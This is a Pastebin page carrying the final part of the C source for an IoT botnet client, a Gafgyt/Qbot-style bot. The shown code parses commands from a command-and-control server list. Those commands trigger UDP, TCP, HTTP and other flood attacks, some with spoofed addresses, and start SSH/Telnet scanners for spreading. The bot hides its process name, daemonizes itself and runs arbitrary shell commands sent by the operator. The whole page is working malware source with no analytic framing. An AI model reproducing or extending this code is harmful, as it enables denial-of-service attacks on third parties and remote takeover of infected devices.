  1978.                 sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  1979.                 return;
  1980.         }
  1981.        
  1982.         if(!strcmp(argv[0], "SCANNER"))
  1983.         {
  1984.         if(argc != 2)
  1985.         {
  1986.             sockprintf(mainCommSock, "SCANNER SSH/TELNET ON | SSH/TELNET OFF");
  1987.             return;
  1988.         }
  1989.  
  1990.         if(!strcmp(argv[1], "OFF"))
  1991.         {
  1992.             if(scanPid == 0) return;
  1993.             sockprintf(mainCommSock, "TELNET SCANNER STOPPED\n");
  1994.             kill(scanPid, 9);
  1995.             scanPid = 0;
  1996.        
  1997.  
  1998.         if(!strcmp(argv[1], "TELNET ON"))
  1999.         {
  2000.             if(scanPid != 0) return;
  2001.             uint32_t parent;
  2002.             parent = fork();
  2003.             sockprintf(mainCommSock, "TELNET SCANNER EXECUTED\n");
  2004.             if (parent > 0) { scanPid = parent; return;}
  2005.             else if(parent == -1) return;
  2006.  
  2007.             TelnetScanner(1);
  2008.             _exit(0);
  2009.         }
  2010.        
  2011.         if(!strcmp(argv[1], "SSH ON"))
  2012.         {
  2013.             if(scanPid != 0) return;
  2014.             uint32_t parent;
  2015.             parent = fork();
  2016.             sockprintf(mainCommSock, "SSH SCANNER EXECUTED\n");
  2017.             if (parent > 0) { scanPid = parent; return;}
  2018.             else if(parent == -1) return;
  2019.  
  2020.             SSHScanner(1);
  2021.             _exit(0);
  2022.         }}}
  2023.  
  2024.         if(!strcmp(argv[0], "UDP"))
  2025.         {
  2026.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  2027.                 {
  2028.                         //sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
  2029.                         return;
  2030.                 }
  2031.  
  2032.                 unsigned char *ip = argv[1];
  2033.                 int port = atoi(argv[2]);
  2034.                 int time = atoi(argv[3]);
  2035.                 int spoofed = atoi(argv[4]);
  2036.                 int packetsize = atoi(argv[5]);
  2037.                 int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  2038.  
  2039.                 if(strstr(ip, ",") != NULL)
  2040.                 {
  2041.                         unsigned char *hi = strtok(ip, ",");
  2042.                         while(hi != NULL)
  2043.                         {
  2044.                                 if(!listFork())
  2045.                                 {
  2046.                                         sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  2047.                                         _exit(0);
  2048.                                 }
  2049.                                 hi = strtok(NULL, ",");
  2050.                         }
  2051.                 } else {
  2052.                         if (listFork()) { return; }
  2053.  
  2054.                         sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  2055.                         _exit(0);
  2056.                 }
  2057.         }
  2058.  
  2059.         if(!strcmp(argv[0], "TCP"))
  2060.         {
  2061.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  2062.                 {
  2063.                         //sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  2064.                         return;
  2065.                 }
  2066.  
  2067.                 unsigned char *ip = argv[1];
  2068.                 int port = atoi(argv[2]);
  2069.                 int time = atoi(argv[3]);
  2070.                 int spoofed = atoi(argv[4]);
  2071.                 unsigned char *flags = argv[5];
  2072.  
  2073.                 int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  2074.                 int psize = argc > 6 ? atoi(argv[6]) : 0;
  2075.  
  2076.                 if(strstr(ip, ",") != NULL)
  2077.                 {
  2078.                         unsigned char *hi = strtok(ip, ",");
  2079.                         while(hi != NULL)
  2080.                         {
  2081.                                 if(!listFork())
  2082.                                 {
  2083.                                         sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  2084.                                         _exit(0);
  2085.                                 }
  2086.                                 hi = strtok(NULL, ",");
  2087.                         }
  2088.                 } else  {
  2089.                         if (listFork()) { return; }
  2090.  
  2091.                         sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  2092.                         _exit(0);
  2093.                         }
  2094.         }
  2095.         if(!strcmp(argv[0], "HTTP"))
  2096.         {
  2097.         if(argc < 3 || atoi(argv[2]) < 1)
  2098.         {
  2099.             return;
  2100.         }
  2101.  
  2102.         unsigned char *ip = argv[1];
  2103.         int time = atoi(argv[2]);
  2104.  
  2105.         if(strstr(ip, ",") != NULL)
  2106.         {
  2107.             unsigned char *hi = strtok(ip, ",");
  2108.             while(hi != NULL)
  2109.             {
  2110.                 if(!listFork())
  2111.                 {
  2112.                     int i = 0;
  2113.                     while(i < 10){
  2114.                         sendHTTP(ip, time);
  2115.                         i++;
  2116.                     }
  2117.                     close(mainCommSock);
  2118.                     _exit(0);
  2119.                 }
  2120.                 hi = strtok(NULL, ",");
  2121.             }
  2122.         } else  {
  2123.             if (listFork()) { return; }
  2124.             int i = 0;
  2125.             while(i < 10){
  2126.                 sendHTTP(ip, time);
  2127.                 i++;
  2128.             }
  2129.             close(mainCommSock);
  2130.  
  2131.             _exit(0);
  2132.                 }
  2133.         }
  2134.         if(!strcmp(argv[0], "CNC"))
  2135.         {
  2136.                 if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2137.                 {
  2138.                        
  2139.                         return;
  2140.                 }
  2141.  
  2142.                 unsigned char *ip = argv[1];
  2143.                 int port = atoi(argv[2]);
  2144.                 int time = atoi(argv[3]);
  2145.  
  2146.                 if(strstr(ip, ",") != NULL)
  2147.                 {
  2148.                         unsigned char *hi = strtok(ip, ",");
  2149.                         while(hi != NULL)
  2150.                         {
  2151.                                 if(!listFork())
  2152.                                 {
  2153.                                         sendCNC(hi, port, time);
  2154.                                         close(mainCommSock);
  2155.                                         _exit(0);
  2156.                                 }
  2157.                                 hi = strtok(NULL, ",");
  2158.                         }
  2159.                 } else {
  2160.                         if (listFork()) { return; }
  2161.  
  2162.                         sendCNC(ip, port, time);
  2163.                         _exit(0);
  2164.                 }
  2165.         }
  2166.        
  2167.         if(!strcmp(argv[0], "STD"))
  2168.         {
  2169.             if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2170.             {
  2171.                        
  2172.                         return;
  2173.             }
  2174.            
  2175.             unsigned char *ip = argv[1];
  2176.             int port = atoi(argv[2]);
  2177.             int time = atoi(argv[3]);
  2178.            
  2179.             if(strstr(ip, ",") != NULL)
  2180.                 {
  2181.                         unsigned char *hi = strtok(ip, ",");
  2182.                         while(hi != NULL)
  2183.                         {
  2184.                                 if(!listFork())
  2185.                                 {
  2186.                                         sendSTD(hi, port, time);
  2187.                                         _exit(0);
  2188.                                 }
  2189.                                 hi = strtok(NULL, ",");
  2190.                         }
  2191.                 } else {
  2192.                         if (listFork()) { return; }
  2193.  
  2194.                         sendSTD(ip, port, time);
  2195.                         _exit(0);
  2196.                 }
  2197.            
  2198.         }
  2199.  
  2200.         if(!strcmp(argv[0], "KILLATTK"))
  2201.         {
  2202.                 int killed = 0;
  2203.                 unsigned long i;
  2204.                 for (i = 0; i < numpids; i++) {
  2205.                         if (pids[i] != 0 && pids[i] != getpid()) {
  2206.                                 kill(pids[i], 9);
  2207.                                 killed++;
  2208.                         }
  2209.                 }
  2210.  
  2211.                 if(killed > 0)
  2212.                 {
  2213.                         //sockprintf(mainCommSock, "Killed %d.", killed);
  2214.                 } else {
  2215.                         //sockprintf(mainCommSock, "None Killed.");
  2216.                 }
  2217.         }
  2218.  
  2219.         if(!strcmp(argv[0], "LOLNOGTFO"))
  2220.         {
  2221.                 exit(0);
  2222.         }
  2223. }
  2224.  
  2225. int initConnection()
  2226. {
  2227.         unsigned char server[4096];
  2228.         memset(server, 0, 4096);
  2229.         if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  2230.         if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  2231.         else currentServer++;
  2232.  
  2233.         strcpy(server, commServer[currentServer]);
  2234.         int port = 443;
  2235.         if(strchr(server, ':') != NULL)
  2236.         {
  2237.                 port = atoi(strchr(server, ':') + 1);
  2238.                 *((unsigned char *)(strchr(server, ':'))) = 0x0;
  2239.         }
  2240.  
  2241.         mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  2242.  
  2243.         if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  2244.  
  2245.         return 0;
  2246. }
  2247.  
  2248. int getOurIP()
  2249. {
  2250.         int sock = socket(AF_INET, SOCK_DGRAM, 0);
  2251.         if(sock == -1) return 0;
  2252.  
  2253.         struct sockaddr_in serv;
  2254.         memset(&serv, 0, sizeof(serv));
  2255.         serv.sin_family = AF_INET;
  2256.         serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  2257.         serv.sin_port = htons(53);
  2258.  
  2259.         int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  2260.         if(err == -1) return 0;
  2261.  
  2262.         struct sockaddr_in name;
  2263.         socklen_t namelen = sizeof(name);
  2264.         err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  2265.         if(err == -1) return 0;
  2266.  
  2267.         ourIP.s_addr = name.sin_addr.s_addr;
  2268.  
  2269.         int cmdline = open("/proc/net/route", O_RDONLY);
  2270.         char linebuf[4096];
  2271.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  2272.         {
  2273.                 if(strstr(linebuf, "\t00000000\t") != NULL)
  2274.                 {
  2275.                         unsigned char *pos = linebuf;
  2276.                         while(*pos != '\t') pos++;
  2277.                         *pos = 0;
  2278.                         break;
  2279.                 }
  2280.                 memset(linebuf, 0, 4096);
  2281.         }
  2282.         close(cmdline);
  2283.  
  2284.         if(*linebuf)
  2285.         {
  2286.                 int i;
  2287.                 struct ifreq ifr;
  2288.                 strcpy(ifr.ifr_name, linebuf);
  2289.                 ioctl(sock, SIOCGIFHWADDR, &ifr);
  2290.                 for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  2291.         }
  2292.  
  2293.         close(sock);
  2294. }
  2295.  
  2296. char *getBuild()
  2297. {
  2298.     #ifdef MIPS_BUILD
  2299.     return "MIPS";
  2300.     #elif MIPSEL_BUILD
  2301.     return "MIPSEL";
  2302.     #elif X86_BUILD
  2303.     return "X86";
  2304.     #elif ARM_BUILD
  2305.     return "ARM";
  2306.     #elif PPC_BUILD
  2307.     return "POWERPC";
  2308.     #else
  2309.     return "DARKAI";
  2310.     #endif
  2311. }
  2312.  
  2313. int main(int argc, unsigned char *argv[])
  2314. {
  2315.         char *mynameis = "";
  2316.         if(SERVER_LIST_SIZE <= 0) return 0;
  2317.         printf("BUILD %s\n", getBuild());
  2318.         strncpy(argv[0],"",strlen(argv[0]));
  2319.         argv[0] = "";
  2320.         prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  2321.         srand(time(NULL) ^ getpid());
  2322.         init_rand(time(NULL) ^ getpid());
  2323.         pid_t pid1;
  2324.         pid_t pid2;
  2325.         int status;
  2326.  
  2327.         getOurIP();
  2328.  
  2329.         if (pid1 = fork()) {
  2330.                         waitpid(pid1, &status, 0);
  2331.                         exit(0);
  2332.         } else if (!pid1) {
  2333.             if (pid2 = fork()) {
  2334.                 exit(0);
  2335.             } else if (!pid2) {
  2336.             } else {
  2337.                 zprintf("fork failed\n");
  2338.             }
  2339.         } else {
  2340.             zprintf("fork failed\n");
  2341.         }
  2342.  
  2343.         setsid();
  2344.         chdir("/");
  2345.  
  2346.         signal(SIGPIPE, SIG_IGN);
  2347.  
  2348.         while(1)
  2349.         {
  2350.                 if(initConnection()) { sleep(5); continue; }
  2351.  
  2352.                 sockprintf(mainCommSock, "BUILD %s", getBuild());
  2353.  
  2354.                 char commBuf[4096];
  2355.                 int got = 0;
  2356.                 int i = 0;
  2357.                 while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  2358.                 {
  2359.                         for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  2360.                                 unsigned int *newpids, on;
  2361.                                 for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  2362.                                 pids[on - 1] = 0;
  2363.                                 numpids--;
  2364.                                 newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  2365.                                 for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  2366.                                 free(pids);
  2367.                                 pids = newpids;
  2368.                         }
  2369.  
  2370.                         commBuf[got] = 0x00;
  2371.  
  2372.                         trim(commBuf);
  2373.  
  2374.                         if(strstr(commBuf, "PING") == commBuf)
  2375.                         {
  2376.                                 sockprintf(mainCommSock, "PONG");
  2377.                                 continue;
  2378.                         }
  2379.  
  2380.                         if(strstr(commBuf, "DUP") == commBuf) exit(0);
  2381.  
  2382.                         unsigned char *message = commBuf;
  2383.  
  2384.                         if(*message == '!')
  2385.                         {
  2386.                                 unsigned char *nickMask = message + 1;
  2387.                                 while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2388.                                 if(*nickMask == 0x00) continue;
  2389.                                 *(nickMask) = 0x00;
  2390.                                 nickMask = message + 1;
  2391.  
  2392.                                 message = message + strlen(nickMask) + 2;
  2393.                                 while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2394.  
  2395.                                 unsigned char *command = message;
  2396.                                 while(*message != ' ' && *message != 0x00) message++;
  2397.                                 *message = 0x00;
  2398.                                 message++;
  2399.  
  2400.                                 unsigned char *tmpcommand = command;
  2401.                                 while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2402.  
  2403.                                 if(strcmp(command, "SH") == 0)
  2404.                                 {
  2405.                                         unsigned char buf[1024];
  2406.                                         int command;
  2407.                                         if (listFork()) continue;
  2408.                                         memset(buf, 0, 1024);
  2409.                                         szprintf(buf, "%s 2>&1", message);
  2410.                                         command = fdpopen(buf, "r");
  2411.                                         while(fdgets(buf, 1024, command) != NULL)
  2412.                                         {
  2413.                                                 trim(buf);
  2414. //                                                sockprintf(mainCommSock, "%s", buf);
  2415.                                                 memset(buf, 0, 1024);
  2416.                                                 sleep(1);
  2417.                                         }
  2418.                                         fdpclose(command);
  2419.                                         exit(0);
  2420.                                 }
  2421.  
  2422.                                 unsigned char *params[10];
  2423.                                 int paramsCount = 1;
  2424.                                 unsigned char *pch = strtok(message, " ");
  2425.                                 params[0] = command;
  2426.  
  2427.                                 while(pch)
  2428.                                 {
  2429.                                         if(*pch != '\n')
  2430.                                         {
  2431.                                                 params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2432.                                                 memset(params[paramsCount], 0, strlen(pch) + 1);
  2433.                                                 strcpy(params[paramsCount], pch);
  2434.                                                 paramsCount++;
  2435.                                         }
  2436.                                         pch = strtok(NULL, " ");
  2437.                                 }
  2438.  
  2439.                                 processCmd(paramsCount, params);
  2440.  
  2441.                                 if(paramsCount > 1)
  2442.                                 {
  2443.                                         int q = 1;
  2444.                                         for(q = 1; q < paramsCount; q++)
  2445.                                         {
  2446.                                                 free(params[q]);
  2447.                                         }
  2448.                                 }
  2449.                         }
  2450.                 }
  2451.         }
  2452.  
  2453.         return 0;
  2454. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!